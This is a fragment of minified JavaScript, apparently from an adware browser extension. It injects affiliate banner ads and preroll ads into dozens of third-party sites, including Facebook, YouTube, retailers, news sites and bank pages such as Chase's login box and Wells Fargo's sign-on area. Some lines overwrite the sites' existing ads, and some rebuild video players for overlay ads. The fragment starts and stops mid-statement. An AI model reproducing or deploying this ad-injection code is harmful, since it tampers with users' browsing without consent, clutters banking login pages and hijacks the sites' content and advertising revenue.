    '); injectBannerAd("300x250", "#dod-ghp", "pr", affiliate, forceHome1, ''); injectBannerAd("728x90", "#on-loading", "be", affiliate, forceHome2, '
    '); injectGrBanner('160x600', '#dod-ghp', 'ap'); break; case 'facebook': //jQuery('.sw-banner-ads').remove(); injectBannerAd("160x600", "#leftCol", "ap", affiliate, forceHome1, '
    '); injectBannerAd("728x90", ".gradientContent", "pr", affiliate, forceHome1, '
    '); injectGrBanner('728x90', '#content', 'pr'); injectGrBanner('300x250', '#registration_container', 'ap'); injectGrBanner('728x90', '#pageFooter', 'ap'); injectGrBanner('728x90', '#blueBarHolder', 'pr'); injectGrBanner('728x90', '#mainContainer', 'ap'); injectGrBanner('300x250', '#rightCol', 'ap'); injectGrBanner('728x90', '#blueBar', 'af'); injectGrBanner('300x250', '#globalContainer', 'pr'); injectBannerAd("300x250", "#photos_snowlift .rhcFooter", "pr", affiliate, forceHome1, '
    '); break; case 'homedepot': injectPreroll('#products', 'af'); injectPreroll('#superPIP__container', 'af'); injectBannerAd("160x600", ".plpleftnav", "af", affiliate, forceSearch, '
    '); injectBannerAd("600x189", "#products", "af", affiliate, forceSearch, '
    '); injectBannerAd("160x600", "grp_addToCart", "af", affiliate, forceSearch, ''); injectBannerAd("728x90", "#header", "af", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#homepagehorizontal1_rr", "be", affiliate, forceHome2, '
    '); injectGrBanner('160x600', '#header', 'ap'); break; case 'jcpenney': injectPreroll('#blockedSectionDiv', 'af'); //injectBannerAd("160x600", "#mainFilterContainer", "ap", affiliate, forceSearch, '
    '); injectBannerAd("600x189", "#RNav_dvThumbs", "ap", affiliate, forceSearch, '
    '); injectBannerAd("728x90", "#blockedSectionDiv", "be", affiliate, forceHome1, '
    '); injectBannerAd("728x90", ".CopyrightInfo", "pr", affiliate, forceHome2, '
    '); injectGrBanner('300x250', '#blockedSectionDiv', 'ap'); break; case 'walmart': injectPreroll('#adsense_1', 'ap'); injectPreroll('#BVReviewsContainer', 'af'); injectBannerAd("160x600", ".leftOASAdContainer", "ap", affiliate, forceSearch, '
    '); injectBannerAd("728x90", "#adsense_1", "ap", affiliate, forceSearch, '
    '); //injectBannerAd("300x250", "#OAS_Left1", "pr", affiliate, forceSearch, ''); injectBannerAd("728x90", ".shippingMessage", "be", affiliate, forceHome1, '
    '); injectBannerAd("300x250", ".spotLightRight", "pr", affiliate, forceHome2, ''); injectBannerAd("728x90", ".FooterContainer", "be", affiliate, forceHome3, '
    '); break; case 'kmart': injectPreroll('#footer_backToTop', 'ap'); injectBannerAd("160x600", "#col1_Filters", "ap", affiliate, forceSearch, '
    '); injectBannerAd("600x189", "#footer_backToTop", "af", affiliate, forceSearch, '
    '); //injectBannerAd("728x90", "#kHMPGGLobal", "af", affiliate, forceHome1, ''); injectBannerAd("160x600", "#deptNav", "ap", affiliate, forceHome2, ''); break; case 'lowes': injectPreroll('#productResults', 'af'); injectPreroll('#alsoViewedBlock', 'af'); //injectBannerAd("160x600", ".expandable", "af", affiliate, forceSearch, '
    '); injectBannerAd("600x189", "#productResults", "af", affiliate, forceSearch, '
    '); injectBannerAd("728x90", "#header-block", "af", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#footer-block", "be", affiliate, forceHome2, '
    '); break; case 'macys': injectPreroll('#macysGlobalLayout', 'af'); injectPreroll('#pdpTabs', 'ap'); injectBannerAd("120x600", "#localNavigationContainer", "ap", affiliate, forceSearch, ''); //injectBannerAd("600x189", "#macysGlobalLayout", "ap", affiliate, forceSearch, ''); injectBannerAd("728x90", "#globalContentContainer", "pr", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#ft", "pr", affiliate, forceHome2, '
    '); break; case 'overstock': injectPreroll('#prod_tabs', 'af'); injectBannerAd("160x600", "#categories-and-refinements", "af", affiliate, forceSearch, '
    '); injectBannerAd("250x250", "#mainRight_addCartWrap", "af", affiliate, forceSearch, ''); injectBannerAd("728x90", "#content-oasis", "be", affiliate, forceHome1, '
    '); injectBannerAd("160x600", "#topnav", "af", affiliate, forceHome2, '
    '); injectBannerAd("250x250", "#content-nav-b", "pr", affiliate, forceHome3, ''); break; case 'pronto': injectPreroll('.productPaginationContainer', 'af'); //injectBannerAd("160x600", "#MB", "af", affiliate, forceSearch, ''); injectBannerAd("728x90", ".firstRailLastContent", "pr", affiliate, forceHome1, '
    '); injectBannerAd("728x90", ".popularListsContainer", "be", affiliate, forceHome2, '
    '); break; case 'ebay': injectPreroll('.toolsl', 'af'); injectPreroll('#vi_tabs', 'af'); injectBannerAd("728x90", "#leftPanelr", "ap", affiliate, forceSearch, '
    '); //injectBannerAd("160x600", "#rtm_html_569", "be", affiliate, forceSearch, '
    '); injectBannerAd("728x90", "#ResultSet", "af", affiliate, forceSearch, '
    '); injectBannerAd("728x90", ".vi-ih-header", "af", affiliate, forceSearch, '
    '); injectBannerAd("300x250", "#vieu_si", "ap", affiliate, forceSearch, ''); injectBannerAd("728x90", "#AreaNavigation", "pr", affiliate, forceHome1, '
    '); injectBannerAd("300x250", "#ff_right", "pr", affiliate, forceHome2, '
    '); break; case 'sears': injectPreroll('#cardsHolder', 'af'); injectPreroll('#productInfo', 'af'); injectBannerAd("160x600", "#col1_Filters", "ap", affiliate, forceSearch, ''); injectBannerAd("600x189", "#cardsHolder", "ap", affiliate, forceSearch, ''); injectBannerAd("728x90", "#globalBanner", "pr", affiliate, forceHome1, ''); injectBannerAd("160x600", "#deptNav", "ap", affiliate, forceHome2, ''); injectBannerAd("300x250", "#OAS_posTopRight", "pr", affiliate, forceHome3, '
    '); break; case 'shopping': injectPreroll('#searchResultsContainer', 'af'); //injectBannerAd("160x600", "#leftPanel", "ap", affiliate, forceSearch, ''); injectBannerAd("600x189", "#searchResultsContainer", "ap", affiliate, forceSearch, ''); injectBannerAd("728x90", "#content", "pr", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#marketingContent", "ap", affiliate, forceHome2, '
    '); break; case 'shopzilla': injectPreroll('#productionForm', 'af'); injectBannerAd("160x600", "#att_nav", "af", affiliate, forceSearch, '
    '); injectBannerAd("600x189", "#productionForm", "af", affiliate, forceSearch, '
    '); break; case 'staples': injectPreroll('#productGridContainer', 'af'); //injectBannerAd("160x600", "#myFilters", "af", affiliate, forceSearch, '
    '); //injectBannerAd("490x250", "#productGridContainer", "af", affiliate, forceSearch, '
    '); injectBannerAd("728x90", "#homeAlleyZone", "pr", affiliate, forceHome1, ''); injectBannerAd("228x335", "#homeWowBannerZone1", "be", affiliate, forceHome2, '
    '); break; case 'target': injectPreroll('#merchandisingSlot5', 'af'); injectPreroll('#specifications', 'af'); injectBannerAd("120x600", "#LeftNavRRComponent", "be", affiliate, forceSearch, '
    '); injectBannerAd("728x90", "#merchandisingSlot5", "af", affiliate, forceSearch, '
    '); injectBannerAd("120x600", "#ProductDetailsTop>.more", "ap", affiliate, forceSearch, '
    '); injectBannerAd("728x90", ".espot-2", "be", affiliate, forceHome1, '
    '); injectBannerAd("728x90", ".espot-5", "af", affiliate, forceHome2, '
    '); break; case 'twitter': jQuery('.sw-banner-ads').remove(); injectBannerAd("468x60", ".content-header.js-stream-header", "be", affiliate, forceSearch, '
    '); //injectBannerAd("300x250", ".module.mini-profile.component", "af", affiliate, forceSearch, '
    '); //injectBannerAd("728x90", ".front-card", "be", affiliate, forceHome1, '
    '); injectGrBanner('160x600', '.module.mini-profile.component', 'af'); //injectBannerAd("300x250", ".module.search-nav", "af", affiliate, forceSearch, '
    '); injectGrBanner('160x600', '.module.search-nav', 'af'); //injectBannerAd("300x250", ".module.profile-nav", "af", affiliate, forceSearch, '
    '); injectGrBanner('160x600', '.module.profile-nav', 'af'); injectGrBanner('728x90', '.footer.inline-list', 'af'); injectGrBanner('300x250', '.footer.inline-list', 'af'); //injectBannerAd("728x90", ".front-card", "be", affiliate, forceHome1, '
    '); //injectBannerAd("728x90", ".module.profile-card.component", "af", affiliate, forceHome1, '
    '); injectBannerAd("300x250", ".module.profile-nav", "af", affiliate, forceHome1, '
    '); injectBannerAd("300x250", ".module.mini-profile", "af", affiliate, forceHome1, '
    '); break; case 'youtube': if(jQuery('#movie_player').length > 0 && overlayAds == 1) { var playerCode = ''; var playlist = 0; var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&'); for(var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); if(hash[0] == "v") playerCode = hash[1]; if(hash[0] == "list") playlist = 1; } if(playerCode != '' && playlist == 0) { setTimeout(function(){ var embedUrl = httpText+"://www.youtube.com/v/"+playerCode; var mparent = jQuery('#movie_player').parent(); jQuery(mparent).html(''); jQuery(mparent).html(''); }, 50); } } if(jQuery('.html5-video-content').length > 0 && overlayAds == 1) { var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&'); for(var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); if(hash[0] == "v") playerCode = hash[1]; } if(playerCode != '') { setTimeout(function(){ var embedUrl = httpText+"://www.youtube.com/embed/"+playerCode; jQuery('#movie_player-html5').html(''); jQuery('#movie_player-html5').html(''); },50); } } if(affiliate != 21110 && affiliate != 34113 && affiliate != 34118 && affiliate != 34122 && affiliate != 34127) { if(forceSearch != '') { injectBannerAd("300x250", "#watch-related", "pr", affiliate, forceSearch, ''); injectBannerAd("300x250", ".ads-promoted", "af", affiliate, forceSearch, ''); } //injectPreroll('#watch-panel', 'ap'); //injectPreroll('#search-pva-content', 'ap'); injectBannerAd("300x250", ".watch-sidebar", "pr", affiliate, forceHome1, ''); injectBannerAd("160x600", '.guide-toplevel', "ap", affiliate, forceHome2, '
    '); injectBannerAd("160x600", '.branded-page-v2-secondary-col', "pr", affiliate, forceHome2, '
    '); injectGrBanner('728x90', '#masthead', 'af'); injectGrBanner('300x250', '#footer', 'af'); } break; case 'wikipedia': //if(forceSearch != '') //injectBannerAd("160x600", "#mw-panel", "ap", affiliate, forceSearch, '
    '); //injectPreroll('.searchresults', 'af'); //injectPreroll('#mw-content-text', 'af'); //injectGrBanner('728x90', '#content', 'pr'); //injectGrBanner('300x250', '#mw-content-text', 'ap'); //injectBannerAd("728x90", "#hundredk", "be", affiliate, forceHome1, '
    '); //injectBannerAd("728x90", "#divOtherProjects", "be", affiliate, forceHome2, '
    '); break; case 'craigslist': //if(forceSearch != '') //injectBannerAd("728x90", ".ban", "af", affiliate, forceSearch, '
    '); //injectPreroll('#footer', 'af'); //injectPreroll('#userbody', 'af'); //injectGrBanner('300x250', '#userbody', 'ap'); //injectGrBanner('728x90', '.bchead', 'ap'); //injectGrBanner('300x250', '#footer', 'ap'); //injectBannerAd("468x60", "#topban", "af", affiliate, forceHome1, '
    '); //injectBannerAd("160x600", "#leftlinks", "af", affiliate, forceHome2, '
    '); //injectBannerAd("120x600", "#rightbar", "ap", affiliate, forceHome3, '
    '); break; case 'live': if(forceSearch != '') injectBannerAd("120x600", "#sr_leftnav", "ap", affiliate, forceSearch, '
    '); injectBannerAd("728x90", "#mainTD", "ap", affiliate, forceHome1, '
    '); //jQuery('.Ad300x250, #RadAd_Skyscraper').html(''); injectBannerAd("300x250", ".Ad300x250", "pr", affiliate, forceHome1, '
    '); injectBannerAd("160x600", "#RadAd_Skyscraper", "pr", affiliate, forceHome1, '
    '); break; case 'aol': if(forceSearch != '') injectBannerAd("120x600", "#l", "ap", affiliate, forceSearch, '
    '); injectPreroll('#c', 'af'); injectPreroll('#col3', 'ap'); injectBannerAd("300x250", "#col3", "pr", affiliate, forceHome1, ''); //injectBannerAd("728x90", "#aol-header", "af", affiliate, forceHome2, '
    '); if(window.location.href.indexOf('on.aol.com') != -1) { if(jQuery('div[id^="SmartPlayer"]').length > 0 && overlayAds == 1) { var playerCode = ''; var hashes = window.location.href.split("?"); var parSp = hashes[0].split("-"); playerCode = parSp[parSp.length - 1]; if(playerCode != '') { var embedUrl = "http://embed.5min.com/"+playerCode+"/"; setTimeout(function() { jQuery('div[id^="SmartPlayer"]').html(''); jQuery('div[id^="SmartPlayer"]').html('')}, 500); } } } else { if(jQuery('div[id^="SmartPlayer"]').length > 0 && overlayAds == 1) { var playerCode = ''; var hashes = window.location.href.split("?"); var parSp = hashes[0].split("/"); if(hashes[0].substr(hashes[0].length - 1) == "/") playerCode = parSp[parSp.length - 2]; else playerCode = parSp[parSp.length - 1]; if(playerCode != '') { var embedUrl = "http://embed.5min.com/"+playerCode+"/"; setTimeout(function() { jQuery('div[id^="SmartPlayer"]').html(''); jQuery('div[id^="SmartPlayer"]').html('')}, 500); } } } break; case 'cnn': if(forceSearch != '') injectBannerAd("160x600", "#cnnResultsRightCol", "pr", affiliate, forceSearch, '
    '); injectPreroll('#cnnResultsLeftCol', 'af'); injectPreroll('#cnnContentContainer', 'af'); injectGrBanner('728x90', '#cnn_hdr', 'ap'); injectGrBanner('300x250', '#cnnContentContainer', 'ap'); injectGrBanner('728x90', '#cnn_ftrcntnt', 'ap'); injectBannerAd("728x90", "#cnn_toptstmparea", "be", affiliate, forceHome1, '
    '); injectBannerAd("300x250", "#cnn_maintopprofile", "pr", affiliate, forceHome2, ''); //jQuery('#medium_rectangle').html(''); injectBannerAd('300x250', '#medium_rectangle', 'pr', affiliate, forceHome1, ''); //jQuery('#cnnAboveFoldAboveAd, #hide300x250, #cnnAboveFoldBelowAd .cnnRight, #cnnSponsoredPods .cnnSponsoredPods, .cnnBannerSection, .cnnInlineAd').html(''); injectBannerAd('300x250', '#hide300x250', 'pr', affiliate, forceHome1, ''); injectBannerAd("728x90", "#cnnAboveFoldAboveAd, #cnnAboveFoldBelowAd .cnnRight, #cnnSponsoredPods .cnnSponsoredPods, .cnnBannerSection", "pr", affiliate, forceHome1, '
    ') break; case 'netflix': if(forceSearch != '') injectBannerAd("728x90", ".merch-vignette", "af", affiliate, forceSearch, '
    '); injectBannerAd("728x90", "#bigcontent", "pr", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#bigcontent", "ap", affiliate, forceHome2, '
    '); break; case 'huffingtonpost': /*if(jQuery('object[id^="segment-player-view"]').length > 0) { setTimeout(function(){ var playerCode = ''; playerCode = jQuery('object[id^="segment-player-view"]').html(); playerCode = playerCode.replace("autoPlay=true", "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('object[id^="segment-player-view"]').html(embedUrl); jQuery('object[id^="segment-player-view"]').attr('id', 'adm_overlay_autostart'); } }, 1000); }*/ if(forceSearch != '') injectBannerAd("120x600", "#nav", "ap", affiliate, forceSearch, ''); //injectPreroll('#wide', 'ap'); //injectPreroll('#news_content', 'af'); injectGrBanner('300x250', '#wrapper', 'pr'); injectGrBanner('728x90', '#wrapper', 'ap'); injectBannerAd("728x90", "#bigcontent", "ap", affiliate, forceHome2, '
    '); //jQuery('#adsDiv0, #adsDiv1, #adsDiv2, #ad_sponsorship_2, #ad_bottom_article_text').html(''); injectBannerAd('728x90', '#adsDiv0', 'pr', affiliate, forceHome1, ''); injectBannerAd('300x250', '#adsDiv1', 'pr', affiliate, forceHome1, ''); break; case 'apple': if(forceSearch != '') injectBannerAd("490x250", "#resultsCount", "af", affiliate, forceSearch, ''); injectGrBanner('728x90', '#globalheader', 'ap'); injectGrBanner('300x250', '#globalfooter', 'ap'); injectBannerAd("728x90", "#productheader", "ap", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#apple-header", "af", affiliate, forceHome2, '
    '); break; case 'bankofamerica': if(forceSearch != '') injectBannerAd("160x600", "#nav-container", "ap", affiliate, forceSearch, '
    '); injectPreroll('.search-w2', 'ap'); injectGrBanner('728x90', '.header', 'pr'); injectGrBanner('300x250', '.footer', 'ap'); injectBannerAd("728x90", "#row-1-area-1", "af", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#row-4-area-1", "pr", affiliate, forceHome2, '
    '); break; case 'imdb': if(forceSearch != '') injectBannerAd("300x250", ".after_ad", "af", affiliate, forceSearch, '
    '); injectPreroll('#main', 'ap'); injectPreroll('#maindetails_center_bottom', 'ap'); injectGrBanner('728x90', '#supertab', 'ap'); injectGrBanner('468x60', '#navbar', 'ap'); if(jQuery('#pagecontent .componentsw').length < 1) injectBannerAd("728x90", "#pagecontent", "pr", affiliate, forceHome1, '
    '); injectBannerAd("300x250", ".aux-ad-widget-1", "pr", affiliate, forceHome2, ''); injectBannerAd("300x250", "#sidebar", "ap", affiliate, forceHome3, ''); //jQuery('#top_rhs_wrapper').html(''); injectBannerAd('300x250', '#top_rhs_wrapper', 'pr', affiliate, forceHome1, ''); break; case 'chase': if(forceSearch != '') injectBannerAd("160x600", ".primaryNav", "ap", affiliate, forceSearch, '
    '); injectPreroll('.pageWidth', 'af'); injectGrBanner('300x250', '#header', 'ap'); injectGrBanner('468x60', '#footer', 'ap'); injectBannerAd("728x90", "#header", "af", affiliate, forceHome1, '
    '); injectBannerAd("200x200", "#login_box", "af", affiliate, forceHome2, '
    '); break; case 'nytimes': if(forceSearch != '') { injectBannerAd("490x250", "#topSponsoredLinks", "ap", affiliate, forceSearch, '
    '); injectBannerAd("160x600", "#sponsoredLinks", "ap", affiliate, forceSearch, '
    '); } injectPreroll('#search_results', 'ap'); injectPreroll('#article', 'ap'); injectGrBanner('728x90', '#page', 'pr'); injectGrBanner('468x60', '#footer', 'ap'); injectGrBanner('300x250', '#header', 'ap'); injectBannerAd("728x90", "#toolbar", "af", affiliate, forceHome1, '
    '); injectBannerAd("336x280", "#cColumnAboveMothRegion", "pr", affiliate, forceHome2, '
    '); injectBannerAd("336x280", "#SponLinkHP", "af", affiliate, forceHome3, '
    '); //jQuery('#TopAd, #MiddleRight').html(''); injectBannerAd('728x90', '#TopAd', 'pr', affiliate, forceHome1, '
    '); injectBannerAd('300x250', '#MiddleRight', 'pr', affiliate, forceHome1, '
    '); break; case 'imgur': if(forceSearch != '') injectBannerAd("300x250", ".imgur-ad", "af", affiliate, forceSearch, '
    '); injectBannerAd("728x90", "#content", "pr", affiliate, forceHome1, ''); //jQuery('.panel-ad').html(''); injectBannerAd("300x250", ".panel-ad", "pr", affiliate, forceHome1, ''); break; case 'microsoft': //if(forceSearch != '') //injectBannerAd("490x250", ".advance_search", "af", affiliate, forceSearch, '
    '); injectPreroll('.organic_results', 'af'); injectGrBanner('728x90', '#bodyHeader', 'ap'); injectGrBanner('468x60', '#bodyFooter', 'ap'); injectBannerAd("728x90", "#ctl00_ctl14", "pr", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#ctl00_ctl15_ColumnRepeater_ctl00_Column", "pr", affiliate, forceHome2, '
    '); injectBannerAd("336x280", "#SponLinkHP", "af", affiliate, forceHome3, '
    '); //jQuery('.hpAd iframe').remove(); injectBannerAd("728x90", ".hpAd, #bodyFooter", "pr", affiliate, forceHome1, '
    '); break; case 'about': if(forceSearch != '') injectBannerAd("490x250", "#ntwk", "be", affiliate, forceSearch, '
    '); injectPreroll('#ntwk', 'af'); injectPreroll('#abc', 'ap'); injectGrBanner('300x250', '#abi', 'ap'); injectGrBanner('728x90', '#adL', 'ap'); injectBannerAd("728x90", "#editors-picks", "pr", affiliate, forceHome1, '
    '); //jQuery('#adB').html(''); //jQuery('#adL iframe#lb, #adL script').remove(); injectBannerAd("300x250", "#adB", "pr", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#adL", "pr", affiliate, forceHome1, '
    '); break; case 'flickr': if(forceSearch != '') injectBannerAd("300x250", "#SearchHouseAd", "af", affiliate, forceSearch, '
    '); injectPreroll('#PivotsContainer', 'af'); injectBannerAd("728x90", "#banner-wrap", "be", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#main-features", "af", affiliate, forceHome2, '
    '); break; case 'wellsfargo': if(forceSearch != '') injectBannerAd("160x600", ".infoBox", "af", affiliate, forceSearch, '
    '); injectPreroll('#results', 'af'); injectBannerAd("728x90", "#content", "pr", affiliate, forceHome1, ''); injectBannerAd("228x335", "#signon", "ap", affiliate, forceHome2, ''); break; case 'comcast': if(forceSearch != '') injectBannerAd("160x600", ".powered-ask-logo", "af", affiliate, forceSearch, '
    '); injectPreroll('#content', 'af'); injectBannerAd("300x250", "#secondary", "pr", affiliate, forceHome1, ''); injectBannerAd("120x600", "#tertiary", "ap", affiliate, forceHome2, '
    '); injectBannerAd("300x250", "#secondary", "ap", affiliate, forceHome3, ''); injectBannerAd("300x250", "#main_top", "be", affiliate, forceHome3, ''); injectBannerAd("300x250", "#rightcontent", "be", affiliate, forceHome3, ''); break; case 'foxnews': if(forceSearch != '') injectBannerAd("160x600", "#ez-adOne", "af", affiliate, forceSearch, '
    '); injectPreroll('#ez-pagination-bottom', 'af'); injectPreroll('#article-section', 'ap'); injectBannerAd("300x250", "#strategyroom", "pr", affiliate, forceHome1, ''); injectBannerAd("728x90", "#features-faces", "be", affiliate, forceHome2, '
    '); injectBannerAd("300x250", "#newsAlertsEmailSignup", "be", affiliate, forceHome3, ''); injectBannerAd("160x600", ".vert .related-media", "af", affiliate, forceHome1, '
    '); injectBannerAd("300x250", "#section-content .g-13.g-last", "pr", affiliate, forceHome1, '
    '); if(jQuery('.section-5 .componentsw').length < 1) injectBannerAd("300x250", "#weather-widget", "af", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#section-branding", "be", affiliate, forceHome2, '
    '); break; case 'yelp': if(forceSearch != '') injectBannerAd("300x250", "#mapcontainer", "af", affiliate, forceSearch, '
    '); injectPreroll('#businessresults', 'af'); injectBannerAd("728x90", "#page-header", "af", affiliate, forceHome1, '
    '); injectBannerAd("300x250", "#rotd", "af", affiliate, forceHome2, ''); injectBannerAd("600x189", "#home-activity-tabs", "af", affiliate, forceHome3, ''); //jQuery('#yelp_us_biz_profile_160x600, #yelp_us_biz_profile_915x35').html(''); injectBannerAd('160x600', '#yelp_us_biz_profile_160x600', 'pr', affiliate, forceHome2, ''); jQuery('.googlead-sponsor-wrapper').css('height', 90); injectBannerAd('728x90', '#yelp_us_biz_profile_915x35', 'pr', affiliate, forceHome1, '
    '); break; case 'reddit': if(forceSearch != '') injectBannerAd("300x250", ".side", "ap", affiliate, forceSearch, '
    '); injectPreroll('#siteTable', 'af'); injectBannerAd("728x90", "#siteTable_organic", "af", affiliate, forceHome1, '
    '); injectBannerAd("300x250", "#ad-frame", "be", affiliate, forceHome2, ''); injectBannerAd("728x90", "#siteTable_organic", "ap", affiliate, forceHome3, ''); break; case 'ehow': if(forceSearch != '') { injectBannerAd("120x600", ".SearchFilter", "ap", affiliate, forceSearch, '
    '); injectBannerAd("200x200", ".TertiaryContent", "ap", affiliate, forceSearch, '
    '); } injectPreroll('.container', 'af'); injectBannerAd("300x250", ".FollowUs", "af", affiliate, forceHome1, ''); injectBannerAd("300x250", ".foodChannel", "pr", affiliate, forceHome2, ''); break; case 'mywebsearch': if(forceSearch != '') injectBannerAd("160x600", "#sideResults", "ap", affiliate, forceSearch, '
    '); injectPreroll('#results', 'ap'); injectBannerAd("728x90", "#searchArea", "pr", affiliate, forceHome1, ''); break; case 'ups': if(forceSearch != '') injectBannerAd("160x600", "#ccGtrMod", "ap", affiliate, forceSearch, '
    '); injectPreroll('#ccCntMod', 'af'); injectBannerAd("728x90", "#cntHome", "pr", affiliate, forceHome1, ''); injectBannerAd("228x335", "#ccGloBdyGtr1", "ap", affiliate, forceHome2, ''); break; case 'adobe': if(forceSearch != '') injectBannerAd("728x90", "#search-results", "be", affiliate, forceSearch, '
    '); injectPreroll('#search-results', 'af'); injectBannerAd("300x250", ".ThreeColumn-3", "pr", affiliate, forceHome1, ''); //injectBannerAd("728x90", "#SiteFooter", "be", affiliate, forceHome2, '
    '); break; case 'thesaurus': case 'reference': if(forceSearch != '') injectBannerAd("160x600", "#lr", "ap", affiliate, forceSearch, '
    '); injectPreroll('.bottomAd', 'af'); injectBannerAd("300x250", "#rr", "pr", affiliate, forceHome1, ''); injectBannerAd("728x90", "#ads", "pr", affiliate, forceHome2, ''); //jQuery('#dcomad_728x90_0, .box-ad, #dcomad_160x600').html(''); if(jQuery('#dcomad_728x90_0 #sw7').length < 1) injectBannerAd('728x90', '#dcomad_728x90_0', 'pr', affiliate, forceHome1, '
    '); if(jQuery('.box-ad #sw3').length < 1) injectBannerAd('300x250', '.box-ad', 'pr', affiliate, forceHome1, '
    '); if(jQuery('#dcomad_160x600 #sw1').length < 1) injectBannerAd('160x600', '#dcomad_160x600', 'pr', affiliate, forceHome1, '
    '); break; case 'att': if(forceSearch != '') injectBannerAd("228x335", "#leftNav", "ap", affiliate, forceSearch, '
    '); injectPreroll('#item1Toggle', 'af'); injectBannerAd("728x90", "#stayConnectedID", "be", affiliate, forceHome1, '
    '); break; case 'washingtonpost': if(forceSearch != '') { injectBannerAd("336x280", ".right-rail", "be", affiliate, forceSearch, '
    '); injectBannerAd("160x600", ".facet-column", "ap", affiliate, forceSearch, '
    '); } injectPreroll('.results-column', 'af'); //jQuery('#slug_flex_bb_hp, #wpni_adi_leaderboard, #wpni_adi_flex_ss_bb_hp, #wpni_adi_inline_bb, #TiqiqWidget').html(''); injectBannerAd("300x250", "#slug_flex_bb_hp", "pr", affiliate, forceHome1, '
    '); injectBannerAd("300x250", ".todays-paper-module, #wpni_adi_flex_ss_bb_hp, #wpni_adi_inline_bb, #TiqiqWidget", "pr", affiliate, forceHome2, '
    '); injectBannerAd('728x90', '#wpni_adi_leaderboard', 'pr', affiliate, forceHome1, '
    '); break; case 'constantcontact': if(forceSearch != '') { injectBannerAd("728x90", "#search_results_header", "af", affiliate, forceSearch, '
    '); injectBannerAd("160x600", "#right", "ap", affiliate, forceSearch, '
    '); } injectPreroll('#search_results_main', 'af'); injectBannerAd("728x90", "#hm_main", "be", affiliate, forceHome1, '
    '); injectBannerAd("728x90", "#container", "ap", affiliate, forceHome2, '
    '); break; case 'warriorforum': if(forceSearch != '') { injectBannerAd("728x90", "#pagenav_menu", "af", affiliate, forceSearch, '
    '); if(!document.getElementById('pagenav_menu')) injectBannerAd("728x90", "#inlinemodform", "be", affiliate, forceSearch, '
    '); } injectBannerAd("728x90", "#pagenav_menu", "af", affiliate, forceHome1, '
    '); break; case 'co': if(forceSearch != '') injectBannerAd("120x600", "#filter_panel", "ap", affiliate, forceSearch, '
    '); if(isDailymail == true) injectBannerAd("300x250", ".searchNavigators", "af", affiliate, forceSearch, '
    '); injectPreroll('#primary', 'af'); injectBannerAd("728x90", "#content", "be", affiliate, forceHome1, '
    '); injectBannerAd("300x250", "#adMpu", "pr", affiliate, forceHome1, ''); injectBannerAd("300x250", "#weather", "ap", affiliate, forceHome2, ''); injectBannerAd("300x250", ".puff.link-bogr2.linkro-wocc.cleared", "pr", affiliate, forceHome3, ''); if(document.location.href.indexOf('dailymail.co.uk') != -1) { //jQuery('#ad-abs-0-ad, #ad-abs-1-ad, .mpu.adHolder, #sky-article-wide').html(''); injectBannerAd("300x250", "#ad-abs-0-ad, #ad-abs-1-ad, .mpu.adHolder", "pr", affiliate, forceHome2, ''); injectBannerAd("160x600", "#sky-article-wide", "pr", affiliate, forceHome2, ''); } break; case 'indeed': if(forceSearch != '') injectBannerAd("160x600", "#auxCol", "ap", affiliate, forceSearch, '
    '); injectPreroll('#bjobalerts', 'af'); injectBannerAd("728x90", "#g_nav", "af", affiliate, forceHome1, '
    '); break; case 'photobucket': if(forceSearch != '') { injectBannerAd("300x250", "#columnLeft", "be", affiliate, forceSearch, '
    '); //injectBannerAd("160x600", ".moduleList", "be", affiliate, forceSearch, '
    '); } injectPreroll('.secondaryResults', 'af'); injectBannerAd("728x90", "#homepageGalleryWrapper", "pr", affiliate, forceHome1, '
    '); injectBannerAd("728x90", ".hpMainWrapper", "ap", affiliate, forceHome2, '
    '); //jQuery('#bannerAd').html(''); injectBannerAd('728x90', '#bannerAd', 'pr', affiliate, forceHome1, ''); break; case 'wsj': if(forceSearch != '') injectBannerAd("300x250", ".adSummary", "ap", affiliate, forceSearch, '
    '); injectPreroll('.src_resultFooter', 'af'); injectBannerAd("300x250", "#finalMDMFooter", "af", affiliate, forceHome1, '
    '); injectBannerAd("336x280", "#photomodule", "be", affiliate, forceHome2, '
    '); break; case 'thepiratebay': if(forceSearch != '') { injectBannerAd("728x90", "#searchResult", "be", affiliate, forceSearch, '
    '); injectBannerAd("120x600", ".ads", "ap", affiliate, forceSearch, '
    '); } injectPreroll('#content', 'af'); injectBannerAd("728x90", "#navlinks", "af", affiliate, forceHome1, '
    '); break; case 'verizonwireless': if(forceSearch != '') injectBannerAd("728x90", ".resulttoolbar", "be", affiliate, forceSearch, '
    '); injectPreroll('#results', 'af'); injectBannerAd("728x90", ".hp.clearfix", "af", affiliate, forceHome1, '
    '); break; case 'vimeo': if(forceSearch != '') injectBannerAd("300x250", "#columnB", "ap", affiliate, forceSearch, ''); injectBannerAd("300x250", "#columnB", "pr", affiliate, forceHome1, ''); injectBannerAd("490x250", "#clips", "pr", affiliate, forceHome2, '
    '); break; case 'americanexpress': if(forceSearch != '') injectBannerAd("600x189", "#rn_PageContent", "be", affiliate, forceSearch, ''); injectPreroll('#rn_PageContent', 'af'); //injectBannerAd("728x90", "#iNavNGI_FooterMain", "pr", affiliate, forceHome1, '
    '); break; case 'expedia': if(forceSearch != '') injectBannerAd("600x189", "#bn_results", "be", affiliate, forceSearch, ''); injectPreroll('#bn_results', 'af'); injectBannerAd("300x250", "#xp_hp_bCol", "pr", affiliate, forceHome1, '
    '); //injectBannerAd("490x250", "#xp_uw_cnt-out", "ap", affiliate, forceHome2, '
    '); injectBannerAd("728x90", "#footer", "be", affiliate, forceHome3, '
